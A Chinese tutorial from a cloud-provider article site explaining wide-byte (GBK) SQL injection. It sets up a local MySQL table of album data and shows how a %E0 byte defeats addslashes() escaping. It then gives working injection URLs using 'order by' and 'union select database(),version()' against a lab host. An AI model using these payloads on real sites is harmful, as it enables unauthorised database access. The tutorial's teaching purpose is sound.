溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

發(fā)布時間:2021-12-09 18:42:22 來源:億速云 閱讀:128 作者:柒染 欄目:大數(shù)據(jù)

這期內(nèi)容當中小編將會給大家?guī)碛嘘P(guān)大數(shù)據(jù)中寬字節(jié)注入該怎么理解,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

一、寬字節(jié)概念

1、單字節(jié)字符集:所有的字符都使用一個字節(jié)來表示,比如 ASCII 編碼(0-127)

2、多字節(jié)字符集:在多字節(jié)字符集中,一部分字節(jié)用多個字節(jié)來表示,另一部分(可能沒有)用單個字節(jié)來表示。

3、寬字節(jié)注入時利用mysql的一個特性,使用GBK編碼的時候,會認為兩個字符是一個漢字

二、addslashes()函數(shù)

1、addslashes() 函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串。

2、預(yù)定義字符:單引號('),雙引號("),反斜杠(\),NULL

3、實例

<?php$ss=addslashes('aiyou"bu"cuoo');echo($ss);?>運行結(jié)果:aiyou\"bu\"cuoo

三、數(shù)據(jù)庫創(chuàng)建

1、創(chuàng)建數(shù)據(jù)庫名為jay

create database jay;

2、選擇創(chuàng)建好的數(shù)據(jù)庫

use jay;

3、創(chuàng)建表名為zhuanji,字段包括,id,neme,year,zhudage

create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int  not null,zhudage varchar(255) not null);

4、插入數(shù)據(jù)

insert into zhuanji (name,year,zhudage) values ("七里香","2004","七里香/外婆/我的地盤");insert into zhuanji (name,year,zhudage) values ("十一月的蕭邦","2005","夜曲/發(fā)如雪/珊瑚海");insert into zhuanji (name,year,zhudage) values ("我很忙","2007","青花瓷/我不配/彩虹");

5、中文編碼問題,修改my.ini文件

[mysql]

default-character-set=gbk

[mysqld]

character-set-server=gbk

四、寬字節(jié)注入

1、訪問該網(wǎng)址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

2、判斷是否存在注入,在id=2后面加入',看是否報錯,發(fā)現(xiàn)單引號被轉(zhuǎn)義了

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

3、替換反斜杠,反斜杠的GBK編碼為%5C,根據(jù)GBK編碼在前面加上%DE,%DF,%E0。。。都可以組成一個漢字,從而把反斜杠給‘吃’了

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

4、成功替換了反斜杠

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

5、獲取數(shù)據(jù)庫列數(shù),order by 4返回正常

192.168.0.104/aiyou/1.php?id=2%E0' order by 4 --+

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

6、獲取數(shù)據(jù)庫名稱及版本號

192.168.0.104/aiyou/1.php?id=-2%E0' union select 1,database(),version(),4 --+

大數(shù)據(jù)中寬字節(jié)注入該怎么理解

上述就是小編為大家分享的大數(shù)據(jù)中寬字節(jié)注入該怎么理解了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI